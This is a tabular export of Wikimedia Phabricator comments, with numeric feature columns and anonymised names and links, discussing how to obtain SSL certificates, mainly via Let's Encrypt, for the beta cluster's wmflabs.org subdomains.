982518,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,Can this ticket be made public nowadays?  There is now T182927 and it seemed like a duplicate.,,,1513299825,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,True,,,224,True,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,15.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,10.0,5.0,0.0,5.0,0.0,0.0,10.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.9,1.0,Can this ticket be made public nowadays?  There is now T182927 and it seemed like a duplicate.
720717,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Thanks to @Krenair (with reviews from @BBlack ) we got SSL on beta cluster.  That is quite an achievement.

The last remaining patch has been merged in. I believe there is nothing left to do there.",,,1472656512,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,True,,,157,True,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,5.0,0.0,2.0,10.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,7.0,12.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,7.0,10.0,2.0,0.0,0.0,0.0,7.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,4.146341463414634,0.8780487804878049,"Thanks toSCREEN_NAME (with reviews fromSCREEN_NAME ) we got SSL on beta cluster.  That is quite an achievement.

The last remaining patch has been merged in. I believe there is nothing left to do there."
720695,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Change 247587 merged by BBlack:
beta: Use Let's Encrypt cert

[[https://gerrit.wikimedia.org/r/247587]]",,,1472654942,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,157,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,5.0,5.0,10.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,3.4,0.85,"Change 247587 merged by BBlack:
beta: Use Let's Encrypt cert

[[GERRIT_URL]]"
716639,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"So that is now pending review / merge of https://gerrit.wikimedia.org/r/247587 //beta: Use Let's Encrypt cert// which is already on beta cluster.
",,,1472038753,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,True,,,156,True,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,8.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,20.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,4.0,8.0,8.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,3.96,0.96,"So that is now pending review / merge of GERRIT_URL //beta: Use Let's Encrypt cert// which is already on beta cluster.
"
716534,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,Convince someone with ops rights to merge the patch,,,1472028326,,PHID-USER-mvx4x7ywk2flsaku2dbk,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,156,True,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.777777777777778,1.0,Convince someone with ops rights to merge the patch
716533,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,That is really neat @AlexMonk-WMF !  Is there anything left to do?,,,1472027977,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,True,,,156,True,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,7.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,20.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,13.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8,1.0,That is really neatSCREEN_NAME-WMF !  Is there anything left to do?
704147,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Change 302409 merged by jenkins-bot:
deployment-prep: Swap config to HTTPS

[[https://gerrit.wikimedia.org/r/302409]]",,,1470134583,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,152,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,9.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,3.5652173913043477,0.8260869565217391,"Change 302409 merged by jenkins-bot:
deployment-prep: Swap config to HTTPS

[[GERRIT_URL]]"
704143,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Change 302409 had a related patch set uploaded (by Alex Monk):
deployment-prep: Swap config to HTTPS

[[https://gerrit.wikimedia.org/r/302409]]
",,,1470134511,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,152,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,21.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,7.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,3.5517241379310347,0.896551724137931,"Change 302409 had a related patch set uploaded (by Alex Monk):
deployment-prep: Swap config to HTTPS

[[GERRIT_URL]]
"
704024,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Change 247587 had a related patch set uploaded (by Alex Monk):
beta: Use Let's Encrypt for upload, and new self-signed SSL certificate for most of text

[[https://gerrit.wikimedia.org/r/247587]]
",,,1470107265,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,152,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,20.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,2.0,10.0,10.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,7.0,3.5121951219512195,0.9024390243902439,"Change 247587 had a related patch set uploaded (by Alex Monk):
beta: Use Let's Encrypt for upload, and new self-signed SSL certificate for most of text

[[GERRIT_URL]]
"
704053,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,This is now working for meta.wikimedia.beta.wmflabs.org and deployment.wikimedia.beta.wmflabs.org (and their mobile variants) as well as upload.beta.wmflabs.org. I'll try to handle all other domains tomorrow.,,,1470123240,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,True,,,152,True,3.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,3.0,0.0,0.0,0.0,3.0,0.0,10.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,10.0,10.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.379310344827586,0.896551724137931,This is now working for meta.wikimedia.beta.wmflabs.org and deployment.wikimedia.beta.wmflabs.org (and their mobile variants) as well as upload.beta.wmflabs.org. I'll try to handle all other domains tomorrow.
704022,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,This is now working for meta.wikimedia.beta.wmflabs.org and deployment.wikimedia.beta.wmflabs.org (and their variants) as well as upload.beta.wmflabs.org. I'll try to handle all other domains tomorrow.,,,1470107154,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,True,,,152,True,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,4.0,0.0,11.0,11.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,11.0,11.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,6.392857142857143,0.8928571428571429,This is now working for meta.wikimedia.beta.wmflabs.org and deployment.wikimedia.beta.wmflabs.org (and their variants) as well as upload.beta.wmflabs.org. I'll try to handle all other domains tomorrow.
672898,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Its puppetized now, should not be hard anymore. We already use it in prod.",,,1464824261,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,True,,,144,True,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,24.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,18.0,6.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.588235294117647,0.9411764705882353,"Its puppetized now, should not be hard anymore. We already use it in prod."
646697,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,It may or may not be a strict blocker but we should probably wait for {T132812},,,1460745558,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,True,,,137,True,0.0,0.0,0.0,0.0,6.0,11.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,11.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,11.0,0.0,11.0,6.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,11.0,6.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.5555555555555554,0.9444444444444444,It may or may not be a strict blocker but we should probably wait for {T132812}
646664,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,">>! In T50501#2210861, @csteipp wrote:
> Ftr, I'd love to see us move in the direction of the let's encrypt model, where it's a straightforward, automated process for servers to get a valid cert for their identity. Whether it's LE specifically, or one of the projects that makes an LE-like api that organizations can run to automatically get certificates from their preferred CA.
> 
> I think we're going to need more of these (mysql and kafka servers / clients in the near term), and I'd like to get to the point where we're dealing with short lived certs wherever possible.

That might be hard as we're not exposing those servers directly to the internet. I suppose we could use an internal CA and run our own Let's Encrypt-like setup, but this is all far outside the scope of this task :)",,,1460741823,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,True,,,137,True,2.0,0.0,0.0,0.0,2.0,7.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,7.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,11.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,5.0,4.0,16.0,0.0,4.0,11.0,0.0,2.0,0.0,0.0,7.0,0.0,0.0,0.0,9.0,7.0,9.0,0.0,0.0,0.0,9.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,3.618181818181818,0.8545454545454545,"QUOTE
QUOTE
QUOTE
QUOTE

That might be hard as we're not exposing those servers directly to the internet. I suppose we could use an internal CA and run our own Let's Encrypt-like setup, but this is all far outside the scope of this task :)"
646659,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,">>! In T50501#2210736, @Krenair wrote:
>>>! In T97593#2115226, @Krenair wrote:
>> I am also wondering what the best way is to put the Let's Encrypt client onto the beta servers. Could we install it on the deployment-cache-text04 and deployment-cache-upload04 instances and have them get their own certificates? They're all running jessie and there is a letsencrypt package available.

Ftr, I'd love to see us move in the direction of the let's encrypt model, where it's a straightforward, automated process for servers to get a valid cert for their identity. Whether it's LE specifically, or one of the projects that makes an LE-like api that organizations can run to automatically get certificates from their preferred CA.

I think we're going to need more of these (mysql and kafka servers / clients in the near term), and I'd like to get to the point where we're dealing with short lived certs wherever possible.",,,1460741344,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,True,,,137,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,1.5,3.0,0.0,0.0,0.0,4.5,0.0,3.5,11.5,0.0,3.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,1.5,0.0,4.0,1.5,1.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,1.5,0.0,2.0,0.0,0.0,1.0,0.5,0.0,10.5,1.0,0.0,0.5,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.5,1.5,0.5,0.0,4.5,0.0,6.5,3.5,2.0,5.5,0.0,0.0,0.0,0.0,6.0,0.0,0.5,0.0,7.0,11.5,4.0,0.0,0.0,0.0,7.0,0.0,2.5,1.5,0.5,1.5,1.0,0.0,0.0,3.850282485875706,0.7734463276836159,"QUOTE
QUOTE
QUOTE

Ftr, I'd love to see us move in the direction of the let's encrypt model, where it's a straightforward, automated process for servers to get a valid cert for their identity. Whether it's LE specifically, or one of the projects that makes an LE-like api that organizations can run to automatically get certificates from their preferred CA.

I think we're going to need more of these (mysql and kafka servers / clients in the near term), and I'd like to get to the point where we're dealing with short lived certs wherever possible."
646648,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,">>! In T97593#2115226, @Krenair wrote:
> I am also wondering what the best way is to put the Let's Encrypt client onto the beta servers. Could we install it on the deployment-cache-text04 and deployment-cache-upload04 instances and have them get their own certificates? They're all running jessie and there is a letsencrypt package available.

>>! In T97593#2116454, @Krenair wrote:
> I checked this in deployment-cache-upload04 today. It's from jessie-backports and depends on lots of things from there, so you end up with something like:
> `sudo apt-get install letsencrypt python-cryptography=1.1.1-1~bpo8+1 python-pyasn1=0.1.9-1~bpo8+1 python-openssl=0.15.1-2~bpo8+1`
> (I did not actually allow this to continue, would like someone else to review since I'm not used to messing with package versions like this)

>>! In T97593#2210712, @Krenair wrote:
> ops have started using it in production for (ubuntu|apt|mirrors).wikimedia.org and it might be puppetised soon. (see T132450)",,,1460740489,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,True,,,137,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,53.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,47.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2666666666666666,0.2,"QUOTE
QUOTE

QUOTE
QUOTE
QUOTE
QUOTE

QUOTE
QUOTE"
646634,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,">>! In T97593#2115226, @Krenair wrote:
> I am also wondering what the best way is to put the Let's Encrypt client onto the beta servers. Could we install it on the deployment-cache-text04 and deployment-cache-upload04 instances and have them get their own certificates? They're all running jessie and there is a letsencrypt package available.

>>! In T97593#2116454, @Krenair wrote:
> I checked this in deployment-cache-upload04 today. It's from jessie-backports and depends on lots of things from there, so you end up with something like:
> `sudo apt-get install letsencrypt python-cryptography=1.1.1-1~bpo8+1 python-pyasn1=0.1.9-1~bpo8+1 python-openssl=0.15.1-2~bpo8+1`
> (I did not actually allow this to continue, would like someone else to review since I'm not used to messing with package versions like this)",,,1460738908,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,True,,,137,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,55.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,45.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.272727272727273,0.2727272727272727,"QUOTE
QUOTE

QUOTE
QUOTE
QUOTE
QUOTE"
628753,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"I'm going around a few tasks on this subject trying to merge/close everything together (this one, T70387, T75919, T97593). I'm going to see if I can get Let's Encrypt working for this.",,,1457835537,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,True,,,132,True,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,7.0,0.0,5.0,11.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,5.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,18.0,2.0,0.0,9.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,9.0,11.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,2.0,0.0,9.0,0.0,0.0,0.0,3.477272727272727,0.7727272727272727,"I'm going around a few tasks on this subject trying to merge/close everything together (this one, T70387, T75919, T97593). I'm going to see if I can get Let's Encrypt working for this."
628752,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"I'm going around a few tasks on this subject trying to merge everything together (this one, T70387, T75919, T97593). I'm going to see if I can get Let's Encrypt working for this.",,,1457835416,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,True,,,132,True,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,7.0,0.0,5.0,12.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,5.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,19.0,2.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,12.0,10.0,0.0,0.0,0.0,10.0,0.0,0.0,2.0,0.0,10.0,0.0,0.0,0.0,3.5,0.7619047619047619,"I'm going around a few tasks on this subject trying to merge everything together (this one, T70387, T75919, T97593). I'm going to see if I can get Let's Encrypt working for this."
595884,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,">>! In T50501#1951388, @faidon wrote:
> Can someone repeat why we can't just flatten the beta hostnames and just procure a *.beta.wmflabs.org certificate?

Presumably because that would make beta less similar to production and less useful for testing things where the domain structure is relevant (e.g. CentralAuth shared cookies).",,,1453575790,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,True,,,125,True,0.0,0.0,0.0,0.0,0.0,9.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,21.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,12.0,6.0,3.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,6.0,0.0,0.0,4.9393939393939394,0.9393939393939394,"QUOTE
QUOTE

Presumably because that would make beta less similar to production and less useful for testing things where the domain structure is relevant (e.g. CentralAuth shared cookies)."
594127,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,">>! In T50501#527689, @Krinkle wrote:
> Would it be an option to flatten our subdomains?
> 
> We'd only need beta.wmflabs.org and *.beta.wmflabs.org to be in the certificate
> 
> (at e.g. DigiCert, those wildcards are $1425 for 3 years includes root and *)
> 
> For example:
> 
> * beta.wmflabs.org
> * bits.beta.wmflabs.org
> * wikimedia.beta.wmflabs.org
> * commons-wikimedia.beta.wmflabs.org
> * wikipedia.beta.wmflabs.org
> * en-wikipedia.beta.wmflabs.org
> * nl-wikibooks.beta.wmflabs.org
> * en-m-wikibooks.beta.wmflabs.org
> * en-m-wikinews.beta.wmflabs.org

I've asked the same a few times and I don't remember the response. Can someone repeat why we can't just flatten the beta hostnames and just procure a *.beta.wmflabs.org certificate?",,,1453369421,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,True,,,125,True,1.0,1.0,0.0,0.0,3.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,7.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,7.0,0.0,29.0,1.0,3.0,7.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.0,0.0,24.0,1.0,0.0,0.0,4.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,3.625,0.4444444444444444,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

I've asked the same a few times and I don't remember the response. Can someone repeat why we can't just flatten the beta hostnames and just procure a *.beta.wmflabs.org certificate?"
